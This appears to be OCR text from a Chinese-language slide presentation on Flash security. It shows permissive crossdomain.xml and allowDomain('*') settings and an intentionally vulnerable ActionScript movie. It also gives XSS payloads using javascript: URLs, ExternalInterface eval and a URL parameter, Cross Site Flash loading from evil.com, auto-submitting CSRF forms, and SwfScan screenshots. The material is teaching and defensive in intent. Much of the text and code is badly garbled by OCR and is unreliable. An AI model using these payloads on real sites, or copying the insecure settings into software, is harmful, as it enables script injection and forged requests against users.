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Flash Cookie

function getatst{&(Btrimg="default") S 8imigpg=""):void

{/| #EEE
var shared:SharedObject =SharedObject.getLocal("db");

shastdtenfyaredObject = SharedObject.getLocal("db");

} shastthoatehkieredObject = SharedObject.getLocal("db");
strareshfresth@atalk];

} return str;

}
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1 # Trust filez in the following directories:

2 C:\Documents and Settings\A4ll Users\Documents'Samplelpp

: C:\Documents and Settings\All Users\Documents\SampleApp.swi
4 C:\Documents and Settings\All Users\Documents'\Sampleipp.html
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Crossdomain.xml

- S | (® wwwyouku.com/crossdomain.xml

iZ 0L SRR A ST RBREFER . SAEMETRINT .

— {cross—domain—policy>
{allow—-access—from domain="%"/>
{/cross—domain—policy>
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Webiih f 35 ]

<site-control permitted-cross-domain-policies="all"/> 7 xi
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Security.allowDomain("*") Security.allowDomain("a.com")

T

FE !

alg)

g == Yiht




yr =y isbestin =P %%‘EW\ =jaaley
ﬁﬁ%ﬂi 5, BRI,
%EW“B—JLXLHI—J Z—ﬂ/ DR
8, UFERZRGFER “Vebilim
}§%U” g “FHrRARES” o

evil.com

foo.com




A HyDHE

r Security.LOCAl TRUSTED (JbfEASHISHE(E04E)
‘ Security.LOCAL FILE (5Z4tINEITH)

Security.sandboxType

Security.LOCAL WITH NETWORK(S5iZf2NE3H)
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HTML P 224 55 I

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" id="swf">
<param name="movie" value="http://www.foo.com/hi.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all">
<param name="allowFullScreen" value="true">
<param name="flashvars" value="a=1 ">

</object>
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HTML P 224 55 I

internal (FRIAME) | falce (214
A 1 - : £ 1
<3 Elements | ® |FRezources @Hetwnrk E Seripts @Timeline '-;:: Frofiles glﬁ;udits

¥ <html:
¥ {body marginwidth="8" marginheight="8" style="background-color: rgb({38,38,38)">
<embed width="188%" height="188%" name="plugin®" src="http://www.foo.com/
test.swf" type="application/x-shockwave-flash">
e <style id="_clearly component_ css" type="text/css">.<{/style>
<div id="_clearly_component__next_pages_container"></div>
</body>
</ html>
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AN 15 Demo

function VulnerableMovie()

{
_root.createTextField("tf",0,100,100,640,480);
if (_root.il1 !'= null)

{
}

_root.tf.html = true;// default is safely false
_root.tf.htmIText = "Hello " + _root.i2; /| K% &2
if (_root.i3 !'= null)

{
}

_root.loadMovie(_root.i1); // X% 51

getURL(_root.i3); // A% &3

}

VulnerableMovie();
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FlashH fkHTML Demo 1

this.createTextField("t", this.getNextHighestDepth(), 10, 10, 500, 500);

t.ntml = true;

t.htmIText = 'as2: <a href="asfunction.myFunction,' + root.i1 + "'>clickl</a>',
t.htmlIText +='<a href=""+ root.i2 + "'>click2</a>";

function myFunction (param) {

t.htmIText += param+'-';

}

IR
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FlashH fkHTML Demo 2

var t:TextField = new TextField(); // S2f54t TextField%} 4
t.width = 500;
t.height = 300;

t.htmlText += '<a href="event:javascript:alert(document.documentElement.
innerHTML)">clickl</a>';

t.addEventListener("link", clickHandler); // % W42 55 5 S5 44
addChild(t); // ¥ TextFieldsZ5| b in#tFlash L K X
function clickHandler(e: TextEvent):void

{
navigateToURL(new URLRequest(e.text),"_self");
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FlashH fkHTML Demo

<img>#Hr2%

img srci] L E R A SE = J7Flash>Cff, S 3R AR H St 2“5 i Flash”
, MAFRWT:

<img src="http://www.evil.com/evil.swf'>
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et = /f'.—l‘—‘

5 JavaScripti# 171815

navigateToURL(new
URLRequest(‘javascript:alert(1)")," sel

f);

getURL ("javascript:alert(1)");.

IR
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5 JavaScripti 171813

Externallnterface Externallnterface.addCallback("reg", as);

Externallnterface.call("eval","alert(1)");

o
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5 JavaScriptifi 471815
AT FHTMLA In# iz Flash 3O A%

<object classid="clsid:D27CDB6E-AE6D-11cf000" id="swf_ie">
<param name="movie" value="test.swf" />
<param name="allowScriptAccess" value="always" />
<embed id="swf_ff" src="test.swf" allowScriptAccess="always">
: </embed>
</object>
<script> :
function $(|d)g_eturn document.getEIementById(ld&;f} _
function swfo ngi _ if (navigator.appName.indexOf("Microsoft") != -1) {
return $('swi_ie");
else {
return $('swf_ff");

}
setTimeout(function()

swfob (%;re _name(’hello Iso’); :
},3000) /I SERT3FP, “Efrtest.swHINZ 5T R
</script>
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1L © wmioocompestsutn- - L N

& C | @ www.foo.com/test.swi?x=\")};alert{document.domain)}catch(e){}//

r & www.foo.com says: FRIRIT @

www.foo.com

] Z1F TR ErAEtE.
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vk Flash (Cross Site Flash)

fEAS21, loadMovess iR £ n] LAIN#CEE = J5 Flash 34,
Il AS2hL:

_root.loadMovie(_root.swf);

Il ) 4% -

http://www.foo.com/load2.swf?swf=http://www.evil.com/evil.swf
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vk Flash (Cross Site Flash)

AS3LHD

var param:Object = root.loaderinfo.parameters;
var swf:String = param["swf"];

var myLoader:Loader = new Loader();

var url:URLRequest = new URLRequest(swf);
myLoader.load(url);

addChild(myLoader);

I A % -

http://www.foo.com/load3.swf?swi=http://www.evil.com/evil.swf
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var param:0Object = root. loaderInfo. parameters:
var swf:String
var myLoader:Loader
var url:URLRequest
myLoader. load (url) :
addChild (mvLoader) :
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param[“swf”]:
new Loader () :
new URLRequest (swf) :
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Flash CSRF It
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Flash CSRF X+

H b5 3k (1R H 5% R A2 LE crossdomain.xmlC A, BLE .
<?xml version="1.0"?>

<cross-domain-policy>

<allow-access-from domain="*" />

</cross-domain-policy>

= Flash:

import flash.net.*;

var loader = new URLLoader(new URLRequest("http://test.com/t"));
loader.addEventListener(Event. COMPLETE,function(){
loader.data;

IS

D;

loader.load();

IR




Flash CSRF It

L[l

<form action="http://t.xxx.com/article/updatetweet" method="post">
<input type="hidden" name="status" value="html_csrf here." />
</form>

<script>document.forms[0].submit();</script>

IR




Flash CSRF It

import flash.net. URLRequest;
function post(msg){

var url = new URLRequest("http://t.xxx.com/article/updatetweet");
var v = new URLVariables();

L[l

_V = "status="+msg;
url.method = "POST": // POST Jj 204258
url.data = v;

sendToURL(url); // Jxi%
}

post(‘flash_csrf_here"),

IR
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tath or URL httpi/fvideo.nitv.cn/flashapp/player.swf - 5 Ed Get U Search  Settings @ Analyze
=i )| player. swf - \’a SDUTC%:_] Properties l-@ Urls l
=48] MowieClip O (_root) c
H Frame 0O 1
¢ fr]hetion O Path ‘http:/ /video.nxtv.cn/flashapp/player.swf
= Frane 1 Flash Version 9
Lol | hotion O - - -
—-48f MowieClip 29 (stars_me) GL SN L 2
2 Frame 0 Sprites 231
fedr | hetion D Classes 88

=481 MowieClip 30 (rating)
#initClip
_"_r Mowiellip 54 (SoundControl
#initClip
_"_r Mowiellip 149 (slider)
—E Frame O

i fedd | Aetion 0 —
- A MowieClip 176 [ControlBloc Vulnerabilities
: #initllip Severity | Mame Location

i —E Frame O Al
Ll n b

Learn More

SwiScan decompiles SWF files and locates security wulnerabilities directly in source code. Tou can
Both ActionScript

® decompile files from your local system or from the internet by typing a URL.
ﬁ wersions 2 and 3 are supported.
I| Dowrdoad a free trial of WebInWisit the HP Application Security Community blogs and discussien forums

invent

Learn more about: lach Securitshpplication Security Center
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player. swi
[ﬁ [Eest Fractice] Sugzeste
['MowieClip O [_root)
=] EI Frame 0
i t#| Action O
i L“[;J [vulnerable] Fc
E|E Frame 1
E| hetion O
Lm[;l [+ulnerable] Fe
['MowieClip 29 (stars_mel
EI Frame 0
by | Aetion O
0 MowieClip 30 (rating)
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[ MowieClip 54 (SoundContr
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rHovieClip 149 (slider)
E Frame 0
sy | Aetion O
f MowieClip 178 ([ComtrolBl
£ #initllip
E Frame 0
*| hetion O
f Mowiellip 184 [(progressk
£ #1initllip
['MowieClip 189 (=stars)
E Frame 0O
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L I 2
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\sd Source [{§ Vulns [ urs |

4 b
- . . —
war xfs = new ContextMenultem("7?77777777777", exitFullScreen); L
}
else |
war xfs = new ContextMenultem|("Normzl Screen", exitFullScreen);
}
wvar _ caellBesult €02 = fullscreenCM.custemlItems.push(xfs);
_root.menu = fullscreenCM;
wvar xml_ = "";
xml = | "http://" + _root. lBgd ) + "/losd.php?action=moviesp=" ) + _root.p };
player.controller. wisible = True; —
if { | | _root.musickg = "" | || | _root.musichy == Undefined | ) ) { =
musickg = myHML.childNodes.0.childNodes.4_childNodes.0_nodeValue;
}
alam I -
J 4
Vulnerabilities
Severity | Name Location -
(%] Passible Application Information Disclosur Class: as.Movie setPanelsCount
W Passible Application Information Disclosur Movie Clip 0| Frame 0 | Global Code e
(%] Passible Application Information Disclosur Movie Clip O | Frame 1 | Global Code
7] 32
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